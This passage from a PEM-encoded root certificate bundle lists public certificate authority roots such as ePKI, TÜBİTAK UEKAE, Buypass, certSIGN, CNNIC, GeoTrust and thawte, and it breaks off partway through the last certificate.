-----BEGIN CERTIFICATE----- MIIDoTCCAomgAwIBAgILBAAAAAABD4WqLUgwDQYJKoZIhvcNAQEFBQAwOzEYMBYGA1UEChMPQ3li ZXJ0cnVzdCwgSW5jMR8wHQYDVQQDExZDeWJlcnRydXN0IEdsb2JhbCBSb290MB4XDTA2MTIxNTA4 MDAwMFoXDTIxMTIxNTA4MDAwMFowOzEYMBYGA1UEChMPQ3liZXJ0cnVzdCwgSW5jMR8wHQYDVQQD ExZDeWJlcnRydXN0IEdsb2JhbCBSb290MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA +Mi8vRRQZhP/8NN57CPytxrHjoXxEnOmGaoQ25yiZXRadz5RfVb23CO21O1fWLE3TdVJDm71aofW 0ozSJ8bi/zafmGWgE07GKmSb1ZASzxQG9Dvj1Ci+6A74q05IlG2OlTEQXO2iLb3VOm2yHLtgwEZL AfVJrn5GitB0jaEMAs7u/OePuGtm839EAL9mJRQr3RAwHQeWP032a7iPt3sMpTjr3kfb1V05/Iin 89cqdPHoWqI7n1C6poxFNcJQZZXcY4Lv3b93TZxiyWNzFtApD0mpSPCzqrdsxacwOUBdrsTiXSZT 8M4cIwhhqJQZugRiQOwfOHB3EgZxpzAYXSUnpQIDAQABo4GlMIGiMA4GA1UdDwEB/wQEAwIBBjAP BgNVHRMBAf8EBTADAQH/MB0GA1UdDgQWBBS2CHsNesysIEyGVjJez6tuhS1wVzA/BgNVHR8EODA2 MDSgMqAwhi5odHRwOi8vd3d3Mi5wdWJsaWMtdHJ1c3QuY29tL2NybC9jdC9jdHJvb3QuY3JsMB8G A1UdIwQYMBaAFLYIew16zKwgTIZWMl7Pq26FLXBXMA0GCSqGSIb3DQEBBQUAA4IBAQBW7wojoFRO lZfJ+InaRcHUowAl9B8Tq7ejhVhpwjCt2BWKLePJzYFa+HMjWqd8BfP9IjsO0QbE2zZMcwSO5bAi 5MXzLqXZI+O4Tkogp24CJJ8iYGd7ix1yCcUxXOl5n4BHPa2hCwcUPUf/A2kaDAtE52Mlp3+yybh2 hO0j9n0Hq0V+09+zv+mKts2oomcrUtW3ZfA5TGOgkXmTUg9U3YO7n9GPp1Nzw8v/MOx8BLjYRB+T X3EJIrduPuocA06dGiBh+4E37F78CkWr1+cXVdCg6mCbpvbjjFspwgZgFJ0tl0ypkxWdYcQBX0jW WL1WMRJOEcgh4LMRkWXbtKaIOM5V -----END CERTIFICATE----- ePKI Root Certification Authority ================================= -----BEGIN CERTIFICATE----- MIIFsDCCA5igAwIBAgIQFci9ZUdcr7iXAF7kBtK8nTANBgkqhkiG9w0BAQUFADBeMQswCQYDVQQG EwJUVzEjMCEGA1UECgwaQ2h1bmdod2EgVGVsZWNvbSBDby4sIEx0ZC4xKjAoBgNVBAsMIWVQS0kg Um9vdCBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTAeFw0wNDEyMjAwMjMxMjdaFw0zNDEyMjAwMjMx MjdaMF4xCzAJBgNVBAYTAlRXMSMwIQYDVQQKDBpDaHVuZ2h3YSBUZWxlY29tIENvLiwgTHRkLjEq MCgGA1UECwwhZVBLSSBSb290IENlcnRpZmljYXRpb24gQXV0aG9yaXR5MIICIjANBgkqhkiG9w0B AQEFAAOCAg8AMIICCgKCAgEA4SUP7o3biDN1Z82tH306Tm2d0y8U82N0ywEhajfqhFAHSyZbCUNs IZ5qyNUD9WBpj8zwIuQf5/dqIjG3LBXy4P4AakP/h2XGtRrBp0xtInAhijHyl3SJCRImHJ7K2RKi lTza6We/CKBk49ZCt0Xvl/T29de1ShUCWH2YWEtgvM3XDZoTM1PRYfl61dd4s5oz9wCGzh1NlDiv qOx4UXCKXBCDUSH3ET00hl7lSM2XgYI1TBnsZfZrxQWh7kcT1rMhJ5QQCtkkO7q+RBNGMD+XPNjX 12ruOzjjK9SXDrkb5wdJfzcq+Xd4z1TtW0ado4AOkUPB1ltfFLqfpo0kR0BZv3I4sjZsN/+Z0V0O WQqraffAsgRFelQArr5T9rXn4fg8ozHSqf4hUmTFpmfwdQcGlBSBVcYn5AGPF8Fqcde+S/uUWH1+ ETOxQvdibBjWzwloPn9s9h6PYq2lY9sJpx8iQkEeb5mKPtf5P0B6ebClAZLSnT0IFaUQAS2zMnao lQ2zepr7BxB4EW/hj8e6DyUadCrlHJhBmd8hh+iVBmoKs2pHdmX2Os+PYhcZewoozRrSgx4hxyy/ vv9haLdnG7t4TY3OZ+XkwY63I2binZB1NJipNiuKmpS5nezMirH4JYlcWrYvjB9teSSnUmjDhDXi Zo1jDiVN1Rmy5nk3pyKdVDECAwEAAaNqMGgwHQYDVR0OBBYEFB4M97Zn8uGSJglFwFU5Lnc/Qkqi MAwGA1UdEwQFMAMBAf8wOQYEZyoHAAQxMC8wLQIBADAJBgUrDgMCGgUAMAcGBWcqAwAABBRFsMLH ClZ87lt4DJX5GFPBphzYEDANBgkqhkiG9w0BAQUFAAOCAgEACbODU1kBPpVJufGBuvl2ICO1J2B0 1GqZNF5sAFPZn/KmsSQHRGoqxqWOeBLoR9lYGxMqXnmbnwoqZ6YlPwZpVnPDimZI+ymBV3QGypzq KOg4ZyYr8dW1P2WT+DZdjo2NQCCHGervJ8A9tDkPJXtoUHRVnAxZfVo9QZQlUgjgRywVMRnVvwdV xrsStZf0X4OFunHB2WyBEXYKCrC/gpf36j36+uwtqSiUO1bd0lEursC9CBWMd1I0ltabrNMdjmEP NXubrjlpC2JgQCA2j6/7Nu4tCEoduL+bXPjqpRugc6bY+G7gMwRfaKonh+3ZwZCc7b3jajWvY9+r GNm65ulK6lCKD2GTHuItGeIwlDWSXQ62B68ZgI9HkFFLLk3dheLSClIKF5r8GrBQAuUBo2M3IUxE xJtRmREOc5wGj1QupyheRDmHVi03vYVElOEMSyycw5KFNGHLD7ibSkNS/jQ6fbjpKdx2qcgw+BRx gMYeNkh0IkFch4LoGHGLQYlE535YW6i4jRPpp2zDR+2zGp1iro2C6pSe3VkQw63d4k3jMdXH7Ojy sP6SHhYKGvzZ8/gntsm+HbRsZJB/9OTEW9c3rkIO3aQab3yIVMUWbuF6aC74Or8NpDyJO3inTmOD BCEIZ43ygknQW/2xzQ+DhNQ+IIX3Sj0rnP0qCglN6oH4EZw= -----END CERTIFICATE----- T\xc3\x9c\x42\xC4\xB0TAK UEKAE K\xC3\xB6k Sertifika Hizmet Sa\xC4\x9Flay\xc4\xb1\x63\xc4\xb1s\xc4\xb1 - S\xC3\xBCr\xC3\xBCm 3 ============================================================================================================================= -----BEGIN CERTIFICATE----- MIIFFzCCA/+gAwIBAgIBETANBgkqhkiG9w0BAQUFADCCASsxCzAJBgNVBAYTAlRSMRgwFgYDVQQH DA9HZWJ6ZSAtIEtvY2FlbGkxRzBFBgNVBAoMPlTDvHJraXllIEJpbGltc2VsIHZlIFRla25vbG9q aWsgQXJhxZ90xLFybWEgS3VydW11IC0gVMOcQsSwVEFLMUgwRgYDVQQLDD9VbHVzYWwgRWxla3Ry b25payB2ZSBLcmlwdG9sb2ppIEFyYcWfdMSxcm1hIEVuc3RpdMO8c8O8IC0gVUVLQUUxIzAhBgNV BAsMGkthbXUgU2VydGlmaWthc3lvbiBNZXJrZXppMUowSAYDVQQDDEFUw5xCxLBUQUsgVUVLQUUg S8O2ayBTZXJ0aWZpa2EgSGl6bWV0IFNhxJ9sYXnEsWPEsXPEsSAtIFPDvHLDvG0gMzAeFw0wNzA4 MjQxMTM3MDdaFw0xNzA4MjExMTM3MDdaMIIBKzELMAkGA1UEBhMCVFIxGDAWBgNVBAcMD0dlYnpl IC0gS29jYWVsaTFHMEUGA1UECgw+VMO8cmtpeWUgQmlsaW1zZWwgdmUgVGVrbm9sb2ppayBBcmHF n3TEsXJtYSBLdXJ1bXUgLSBUw5xCxLBUQUsxSDBGBgNVBAsMP1VsdXNhbCBFbGVrdHJvbmlrIHZl IEtyaXB0b2xvamkgQXJhxZ90xLFybWEgRW5zdGl0w7xzw7wgLSBVRUtBRTEjMCEGA1UECwwaS2Ft dSBTZXJ0aWZpa2FzeW9uIE1lcmtlemkxSjBIBgNVBAMMQVTDnELEsFRBSyBVRUtBRSBLw7ZrIFNl cnRpZmlrYSBIaXptZXQgU2HEn2xhecSxY8Sxc8SxIC0gU8O8csO8bSAzMIIBIjANBgkqhkiG9w0B AQEFAAOCAQ8AMIIBCgKCAQEAim1L/xCIOsP2fpTo6iBkcK4hgb46ezzb8R1Sf1n68yJMlaCQvEhO Eav7t7WNeoMojCZG2E6VQIdhn8WebYGHV2yKO7Rm6sxA/OOqbLLLAdsyv9Lrhc+hDVXDWzhXcLh1 xnnRFDDtG1hba+818qEhTsXOfJlfbLm4IpNQp81McGq+agV/E5wrHur+R84EpW+sky58K5+eeROR 6Oqeyjh1jmKwlZMq5d/pXpduIF9fhHpEORlAHLpVK/swsoHvhOPc7Jg4OQOFCKlUAwUp8MmPi+oL hmUZEdPpCSPeaJMDyTYcIW7OjGbxmTDY17PDHfiBLqi9ggtm/oLL4eAagsNAgQIDAQABo0IwQDAd BgNVHQ4EFgQUvYiHyY/2pAoLquvF/pEjnatKijIwDgYDVR0PAQH/BAQDAgEGMA8GA1UdEwEB/wQF MAMBAf8wDQYJKoZIhvcNAQEFBQADggEBAB18+kmPNOm3JpIWmgV050vQbTlswyb2zrgxvMTfvCr4 N5EY3ATIZJkrGG2AA1nJrvhY0D7twyOfaTyGOBye79oneNGEN3GKPEs5z35FBtYt2IpNeBLWrcLT y9LQQfMmNkqblWwM7uXRQydmwYj3erMgbOqwaSvHIOgMA8RBBZniP+Rr+KCGgceExh/VS4ESshYh LBOhgLJeDEoTniDYYkCrkOpkSi+sDQESeUWoL4cZaMjihccwsnX5OD+ywJO0a+IDRM5noN+J1q2M dqMTw5RhK2vZbMEHCiIHhWyFJEapvj+LeISCfiQMnf2BN+MlqO02TpUsyZyQ2uypQjyttgI= -----END CERTIFICATE----- Buypass Class 2 CA 1 ==================== -----BEGIN CERTIFICATE----- MIIDUzCCAjugAwIBAgIBATANBgkqhkiG9w0BAQUFADBLMQswCQYDVQQGEwJOTzEdMBsGA1UECgwU QnV5cGFzcyBBUy05ODMxNjMzMjcxHTAbBgNVBAMMFEJ1eXBhc3MgQ2xhc3MgMiBDQSAxMB4XDTA2 MTAxMzEwMjUwOVoXDTE2MTAxMzEwMjUwOVowSzELMAkGA1UEBhMCTk8xHTAbBgNVBAoMFEJ1eXBh c3MgQVMtOTgzMTYzMzI3MR0wGwYDVQQDDBRCdXlwYXNzIENsYXNzIDIgQ0EgMTCCASIwDQYJKoZI hvcNAQEBBQADggEPADCCAQoCggEBAIs8B0XY9t/mx8q6jUPFR42wWsE425KEHK8T1A9vNkYgxC7M cXA0ojTTNy7Y3Tp3L8DrKehc0rWpkTSHIln+zNvnma+WwajHQN2lFYxuyHyXA8vmIPLXl18xoS83 0r7uvqmtqEyeIWZDO6i88wmjONVZJMHCR3axiFyCO7srpgTXjAePzdVBHfCuuCkslFJgNJQ72uA4 0Z0zPhX0kzLFANq1KWYOOngPIVJfAuWSeyXTkh4vFZ2B5J2O6O+JzhRMVB0cgRJNcKi+EAUXfh/R uFdV7c27UsKwHnjCTTZoy1YmwVLBvXb3WNVyfh9EdrsAiR0WnVE1703CVu9r4Iw7DekCAwEAAaNC MEAwDwYDVR0TAQH/BAUwAwEB/zAdBgNVHQ4EFgQUP42aWYv8e3uco684sDntkHGA1sgwDgYDVR0P AQH/BAQDAgEGMA0GCSqGSIb3DQEBBQUAA4IBAQAVGn4TirnoB6NLJzKyQJHyIdFkhb5jatLPgcIV 1Xp+DCmsNx4cfHZSldq1fyOhKXdlyTKdqC5Wq2B2zha0jX94wNWZUYN/Xtm+DKhQ7SLHrQVMdvvt 7h5HZPb3J31cKA9FxVxiXqaakZG3Uxcu3K1gnZZkOb1naLKuBctN518fV4bVIJwo+28TOPX2EZL2 fZleHwzoq0QkKXJAPTZSr4xYkHPB7GEseaHsh7U/2k3ZIQAw3pDaDtMaSKk+hQsUi4y8QZ5q9w5w wDX3OaJdZtB7WZ+oRxKaJyOkLY4ng5IgodcVf/EuGO70SH8vf/GhGLWhC5SgYiAynB321O+/TIho -----END CERTIFICATE----- EBG Elektronik Sertifika Hizmet Sa\xC4\x9Flay\xc4\xb1\x63\xc4\xb1s\xc4\xb1 ========================================================================== -----BEGIN CERTIFICATE----- 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 -----END CERTIFICATE----- certSIGN ROOT CA ================ -----BEGIN CERTIFICATE----- MIIDODCCAiCgAwIBAgIGIAYFFnACMA0GCSqGSIb3DQEBBQUAMDsxCzAJBgNVBAYTAlJPMREwDwYD VQQKEwhjZXJ0U0lHTjEZMBcGA1UECxMQY2VydFNJR04gUk9PVCBDQTAeFw0wNjA3MDQxNzIwMDRa Fw0zMTA3MDQxNzIwMDRaMDsxCzAJBgNVBAYTAlJPMREwDwYDVQQKEwhjZXJ0U0lHTjEZMBcGA1UE CxMQY2VydFNJR04gUk9PVCBDQTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALczuX7I JUqOtdu0KBuqV5Do0SLTZLrTk+jUrIZhQGpgV2hUhE28alQCBf/fm5oqrl0Hj0rDKH/v+yv6efHH rfAQUySQi2bJqIirr1qjAOm+ukbuW3N7LBeCgV5iLKECZbO9xSsAfsT8AzNXDe3i+s5dRdY4zTW2 ssHQnIFKquSyAVwdj1+ZxLGt24gh65AIgoDzMKND5pCCrlUoSe1b16kQOA7+j0xbm0bqQfWwCHTD 0IgztnzXdN/chNFDDnU5oSVAKOp4yw4sLjmdjItuFhwvJoIQ4uNllAoEwF73XVv4EOLQunpL+943 AAAaWyjj0pxzPjKHmKHJUS/X3qwzs08CAwEAAaNCMEAwDwYDVR0TAQH/BAUwAwEB/zAOBgNVHQ8B Af8EBAMCAcYwHQYDVR0OBBYEFOCMm9slSbPxfIbWskKHC9BroNnkMA0GCSqGSIb3DQEBBQUAA4IB AQA+0hyJLjX8+HXd5n9liPRyTMks1zJO890ZeUe9jjtbkw9QSSQTaxQGcu8J06Gh40CEyecYMnQ8 SG4Pn0vU9x7Tk4ZkVJdjclDVVc/6IJMCopvDI5NOFlV2oHB5bc0hH88vLbwZ44gx+FkagQnIl6Z0 x2DEW8xXjrJ1/RsCCdtZb3KTafcxQdaIOL+Hsr0Wefmq5L6IJd1hJyMctTEHBDa0GpC9oHRxUIlt vBTjD4au8as+x6AJzKNI0eDbZOeStc+vckNwi/nDhDwTqn6Sm1dTk/pwwpEOMfmbZ13pljheX7Nz TogVZ96edhBiIL5VaZVDADlN9u6wWk5JRFRYX0KD -----END CERTIFICATE----- CNNIC ROOT ========== -----BEGIN CERTIFICATE----- MIIDVTCCAj2gAwIBAgIESTMAATANBgkqhkiG9w0BAQUFADAyMQswCQYDVQQGEwJDTjEOMAwGA1UE ChMFQ05OSUMxEzARBgNVBAMTCkNOTklDIFJPT1QwHhcNMDcwNDE2MDcwOTE0WhcNMjcwNDE2MDcw OTE0WjAyMQswCQYDVQQGEwJDTjEOMAwGA1UEChMFQ05OSUMxEzARBgNVBAMTCkNOTklDIFJPT1Qw ggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDTNfc/c3et6FtzF8LRb+1VvG7q6KR5smzD o+/hn7E7SIX1mlwhIhAsxYLO2uOabjfhhyzcuQxauohV3/2q2x8x6gHx3zkBwRP9SFIhxFXf2tiz VHa6dLG3fdfA6PZZxU3Iva0fFNrfWEQlMhkqx35+jq44sDB7R3IJMfAw28Mbdim7aXZOV/kbZKKT VrdvmW7bCgScEeOAH8tjlBAKqeFkgjH5jCftppkA9nCTGPihNIaj3XrCGHn2emU1z5DrvTOTn1Or czvmmzQgLx3vqR1jGqCA2wMv+SYahtKNu6m+UjqHZ0gNv7Sg2Ca+I19zN38m5pIEo3/PIKe38zrK y5nLAgMBAAGjczBxMBEGCWCGSAGG+EIBAQQEAwIABzAfBgNVHSMEGDAWgBRl8jGtKvf33VKWCscC wQ7vptU7ETAPBgNVHRMBAf8EBTADAQH/MAsGA1UdDwQEAwIB/jAdBgNVHQ4EFgQUZfIxrSr3991S lgrHAsEO76bVOxEwDQYJKoZIhvcNAQEFBQADggEBAEs17szkrr/Dbq2flTtLP1se31cpolnKOOK5 Gv+e5m4y3R6u6jW39ZORTtpC4cMXYFDy0VwmuYK36m3knITnA3kXr5g9lNvHugDnuL8BV8F3RTIM O/G0HAiw/VGgod2aHRM2mm23xzy54cXZF/qD1T0VoDy7HgviyJA/qIYM/PmLXoXLT1tLYhFHxUV8 BS9BsZ4QaRuZluBVeftOhpm4lNqGOGqTo+fLbuXf6iFViZx9fX+Y9QCJ7uOEwFyWtcVG6kbghVW2 G8kS1sHNzYDzAgE8yGnLRUhj2JTQ7IUOO04RZfSCjKY9ri4ilAnIXOo8gV0WKgOXFlUJ24pBgp5m mxE= -----END CERTIFICATE----- ApplicationCA - Japanese Government =================================== -----BEGIN CERTIFICATE----- MIIDoDCCAoigAwIBAgIBMTANBgkqhkiG9w0BAQUFADBDMQswCQYDVQQGEwJKUDEcMBoGA1UEChMT SmFwYW5lc2UgR292ZXJubWVudDEWMBQGA1UECxMNQXBwbGljYXRpb25DQTAeFw0wNzEyMTIxNTAw MDBaFw0xNzEyMTIxNTAwMDBaMEMxCzAJBgNVBAYTAkpQMRwwGgYDVQQKExNKYXBhbmVzZSBHb3Zl cm5tZW50MRYwFAYDVQQLEw1BcHBsaWNhdGlvbkNBMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB CgKCAQEAp23gdE6Hj6UG3mii24aZS2QNcfAKBZuOquHMLtJqO8F6tJdhjYq+xpqcBrSGUeQ3DnR4 fl+Kf5Sk10cI/VBaVuRorChzoHvpfxiSQE8tnfWuREhzNgaeZCw7NCPbXCbkcXmP1G55IrmTwcrN wVbtiGrXoDkhBFcsovW8R0FPXjQilbUfKW1eSvNNcr5BViCH/OlQR9cwFO5cjFW6WY2H/CPek9AE jP3vbb3QesmlOmpyM8ZKDQUXKi17safY1vC+9D/qDihtQWEjdnjDuGWk81quzMKq2edY3rZ+nYVu nyoKb58DKTCXKB28t89UKU5RMfkntigm/qJj5kEW8DOYRwIDAQABo4GeMIGbMB0GA1UdDgQWBBRU WssmP3HMlEYNllPqa0jQk/5CdTAOBgNVHQ8BAf8EBAMCAQYwWQYDVR0RBFIwUKROMEwxCzAJBgNV BAYTAkpQMRgwFgYDVQQKDA/ml6XmnKzlm73mlL/lupwxIzAhBgNVBAsMGuOCouODl+ODquOCseOD vOOCt+ODp+ODs0NBMA8GA1UdEwEB/wQFMAMBAf8wDQYJKoZIhvcNAQEFBQADggEBADlqRHZ3ODrs o2dGD/mLBqj7apAxzn7s2tGJfHrrLgy9mTLnsCTWw//1sogJhyzjVOGjprIIC8CFqMjSnHH2HZ9g /DgzE+Ge3Atf2hZQKXsvcJEPmbo0NI2VdMV+eKlmXb3KIXdCEKxmJj3ekav9FfBv7WxfEPjzFvYD io+nEhEMy/0/ecGc/WLuo89UDNErXxc+4z6/wCs+CZv+iKZ+tJIX/COUgb1up8WMwusRRdv4QcmW dupwX3kSa+SjB1oF7ydJzyGfikwJcGapJsErEU4z0g781mzSDjJkaP+tBXhfAx2o45CsJOAPQKdL rosot4LKGAfmt1t06SAZf7IbiVQ= -----END CERTIFICATE----- GeoTrust Primary Certification Authority - G3 ============================================= -----BEGIN CERTIFICATE----- MIID/jCCAuagAwIBAgIQFaxulBmyeUtB9iepwxgPHzANBgkqhkiG9w0BAQsFADCBmDELMAkGA1UE BhMCVVMxFjAUBgNVBAoTDUdlb1RydXN0IEluYy4xOTA3BgNVBAsTMChjKSAyMDA4IEdlb1RydXN0 IEluYy4gLSBGb3IgYXV0aG9yaXplZCB1c2Ugb25seTE2MDQGA1UEAxMtR2VvVHJ1c3QgUHJpbWFy eSBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eSAtIEczMB4XDTA4MDQwMjAwMDAwMFoXDTM3MTIwMTIz NTk1OVowgZgxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1HZW9UcnVzdCBJbmMuMTkwNwYDVQQLEzAo YykgMjAwOCBHZW9UcnVzdCBJbmMuIC0gRm9yIGF1dGhvcml6ZWQgdXNlIG9ubHkxNjA0BgNVBAMT LUdlb1RydXN0IFByaW1hcnkgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkgLSBHMzCCASIwDQYJKoZI hvcNAQEBBQADggEPADCCAQoCggEBANziXmJYHTNXOTIz+uvLh4yn1ErdBojqZI4xmKU4kB6Yzy5j K/BGvESyiaHAKAxJcCGVn2TAppMSAmUmhsalifD614SgcK9PGpc/BkTVyetyEH3kMSj7HGHmKAdE c5IiaacDiGydY8hS2pgn5whMcD60yRLBxWeDXTPzAxHsatBT4tG6NmCUgLthY2xbF37fQJQeqw3C IShwiP/WJmxsYAQlTlV+fe+/lEjetx3dcI0FX4ilm/LC7urRQEFtYjgdVgbFA0dRIBn8exALDmKu dlW/X3e+PkkBUz2YJQN2JFodtNuJ6nnltrM7P7pMKEF/BqxqjsHQ9gUdfeZChuOl1UcCAwEAAaNC MEAwDwYDVR0TAQH/BAUwAwEB/zAOBgNVHQ8BAf8EBAMCAQYwHQYDVR0OBBYEFMR5yo6hTgMdHNxr 2zFblD4/MH8tMA0GCSqGSIb3DQEBCwUAA4IBAQAtxRPPVoB7eni9n64smefv2t+UXglpp+duaIy9 cr5HqQ6XErhK8WTTOd8lNNTBzU6B8A8ExCSzNJbGpqow32hhc9f5joWJ7w5elShKKiePEI4ufIbE Ap7aDHdlDkQNkv39sxY2+hENHYwOB4lqKVb3cvTdFZx3NWZXqxNT2I7BQMXXExZacse3aQHEerGD AWh9jUGhlBjBJVz88P6DAod8DQ3PLghcSkANPuyBYeYk28rgDi0Hsj5W3I31QYUHSJsMC8tJP33s t/3LjWeJGqvtux6jAAgIFyqCXDFdRootD4abdNlF+9RAsXqqaC2Gspki4cErx5z481+oghLrGREt -----END CERTIFICATE----- thawte Primary Root CA - G2 =========================== -----BEGIN CERTIFICATE----- MIICiDCCAg2gAwIBAgIQNfwmXNmET8k9Jj1Xm67XVjAKBggqhkjOPQQDAzCBhDELMAkGA1UEBhMC VVMxFTATBgNVBAoTDHRoYXd0ZSwgSW5jLjE4MDYGA1UECxMvKGMpIDIwMDcgdGhhd3RlLCBJbmMu IC0gRm9yIGF1dGhvcml6ZWQgdXNlIG9ubHkxJDAiBgNVBAMTG3RoYXd0ZSBQcmltYXJ5IFJvb3Qg Q0EgLSBHMjAeFw0wNzExMDUwMDAwMDBaFw0zODAxMTgyMzU5NTlaMIGEMQswCQYDVQQGEwJVUzEV MBMGA1UEChMMdGhhd3RlLCBJbmMuMTgwNgYDVQQLEy8oYykgMjAwNyB0aGF3dGUsIEluYy4gLSBG b3IgYXV0aG9yaXplZCB1c2Ugb25seTEkMCIGA1UEAxMbdGhhd3RlIFByaW1hcnkgUm9vdCBDQSAt IEcyMHYwEAYHKoZIzj0CAQYFK4EEACIDYgAEotWcgnuVnfFSeIf+iha/BebfowJPDQfGAFG6DAJS LSKkQjnE/o/qycG+1E3/n3qe4rF8mq2nhglzh9HnmuN6papu+7qzcMBniKI11KOasf2twu8x+qi5 8/sIxpHR+ymVo0IwQDAPBgNVHRMBAf8EBTADAQH/MA4GA1UdDwEB/wQEAwIBBjAdBgNVHQ4EFgQU mtgAMADna3+FGO6Lts6KDPgR4bswCgYIKoZIzj0EAwMDaQAwZgIxAN344FdHW6fmCsO99YCKlzUN G4k8VIZ3KMqh9HneteY4sPBlcIx/AlTCv//YoT7ZzwIxAMSNlPzcU9LcnXgWHxUzI1NS41oxXZ3K rr0TKUQNJ1uo52icEvdYPy5yAlejj6EULg== -----END CERTIFICATE----- thawte Primary Root CA - G3 =========================== -----BEGIN CERTIFICATE----- MIIEKjCCAxKgAwIBAgIQYAGXt0an6rS0mtZLL/eQ+zANBgkqhkiG9w0BAQsFADCBrjELMAkGA1UE BhMCVVMxFTATBgNVBAoTDHRoYXd0ZSwgSW5jLjEoMCYGA1UECxMfQ2VydGlmaWNhdGlvbiBTZXJ2 aWNlcyBEaXZpc2lvbjE4MDYGA1UECxMvKGMpIDIwMDggdGhhd3RlLCBJbmMuIC0gRm9yIGF1dGhv cml6ZWQgdXNlIG9ubHkxJDAiBgNVBAMTG3RoYXd0ZSBQcmltYXJ5IFJvb3QgQ0EgLSBHMzAeFw0w ODA0MDIwMDAwMDBaFw0zNzEyMDEyMzU5NTlaMIGuMQswCQYDVQQGEwJVUzEVMBMGA1UEChMMdGhh d3RlLCBJbmMuMSgwJgYDVQQLEx9DZXJ0aWZpY2F0aW9uIFNlcnZpY2VzIERpdmlzaW9uMTgwNgYD VQQLEy8oYykgMjAwOCB0aGF3dGUsIEluYy4gLSBGb3IgYXV0aG9yaXplZCB1c2Ugb25seTEkMCIG A1UEAxMbdGhhd3RlIFByaW1hcnkgUm9vdCBDQSAtIEczMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8A MIIBCgKCAQEAsr8nLPvb2FvdeHsbnndmgcs+vHyu86YnmjSjaDFxODNi5PNxZnmxqWWjpYvVj2At P0LMqmsywCPLLEHd5N/8YZzic7IilRFDGF/Eth9XbAoFWCLINkw6fKXRz4aviKdEAhN0cXMKQlkC +BsUa0Lfb1+6a4KinVvnSr0eAXLbS3ToO39/fR8EtCab4LRarEc9VbjXsCZSKAExQGbY2SS99irY 7CFJXJv2eul/VTV+lmuNk5Mny5K76qxAwJ/C+IDPXfRa3M50hqY+bAtTyr2SzhkGcuYMXDhpxwTW vGzOW/b3aJzcJRVIiKHpqfiYnODz1TEoYRFsZ5aNOZnLwkUkOQIDAQABo0IwQDAPBgNVHRMBAf8E BTADAQH/MA4GA1UdDwEB/wQEAwIBBjAdBgNVHQ4EFgQUrWyqlGCc7eT/+j4KdCtjA/e2Wb8wDQYJ 